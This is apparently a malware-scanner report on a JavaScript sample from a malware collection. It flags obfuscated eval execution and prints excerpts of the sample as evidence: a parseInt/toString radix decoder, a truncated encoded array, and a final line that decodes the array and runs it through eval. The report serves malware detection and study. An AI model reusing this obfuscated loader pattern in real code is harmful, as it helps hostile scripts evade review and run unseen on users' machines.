Suspicious ^80% javascript-malware-collection Download

20151211_bf04b7b8aef53cef6d62c4f72de59df9.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256d9453cc4cc7a5dd40e96676dc901d8aab09f23b7d5df0d445b66d24f94d249b9

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function oZuqU(sbvMvdzJTxN,CFQHmRRfTVYJy,DXIOlbOA){EuAT=parseInt(sbvMvdzJTxN,CFQHmRRfTVYJy);zTwaA=EuAT.toString(DXIOlbOA);return zTwaA;}function daNyMFxfoshFtQp(SiiPqJMIWRKMgOGvi){eval(SiiPqJMIWRKMgOGvi)}
3function XHjEcZUejGBTseKwrAipKREDiyrUxGHwIntdltowPqgdcZYgzFoEyJ(EcArcSCTUoPcr,ciZzMYysTSciPo){ return OoqFm[oZuqU(EcArcSCTUoPcr[ciZzMYysTSciPo],(16259+541)/800,(4684+136)/482)];}
4function tqXzJAF(kCqcWtPXcayMtPnudISjqjpDzRbPACPnKlUx) {return !isNaN(parseFloat(kCqcWtPXcayMtPnudISjqjpDzRbPACPnKlUx)) && isFinite(kCqcWtPXcayMtPnudISjqjpDzRbPACPnKlUx);}
5function mrIhRItoMQh(pligUcGg,FUbvMZ){return pligUcGg.split(FUbvMZ)}
6var T=new Array("d","a","d","a","5d","4d","59","1b","4j","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  DKite=[T,I];
9var sjQosShCL=[];
10function PbvKKtipVrKXKJdnF(DKite){MAThTKfSSxR= '';qjHjSfyAQJM=(-685+685)/314; while(true){if(qjHjSfyAQJM >= (-405+923)/259)break;sjQosShCL[qjHjSfyAQJM]=(-872+872)/868; while(true) { if(sjQosShCL[qjHjSfyAQJM] > DKite[qjHjSfyAQJM].length-(486+362)/848) { break; } if (tqXzJAF(oZuqU(DKite[qjHjSfyAQJM][sjQosShCL[qjHjSfyAQJM]],(6203+496)/319,(4593+307)/490))) {MAThTKfSSxR += XHjEcZUejGBTseKwrAipKREDiyrUxGHwIntdltowPqgdcZYgzFoEyJ([DKite[qjHjSfyAQJM][sjQosShCL[qjHjSfyAQJM]]], (-120+120)/423);} sjQosShCL[qjHjSfyAQJM]++;}qjHjSfyAQJM++;} return MAThTKfSSxR}
11daNyMFxfoshFtQp(PbvKKtipVrKXKJdnF(DKite));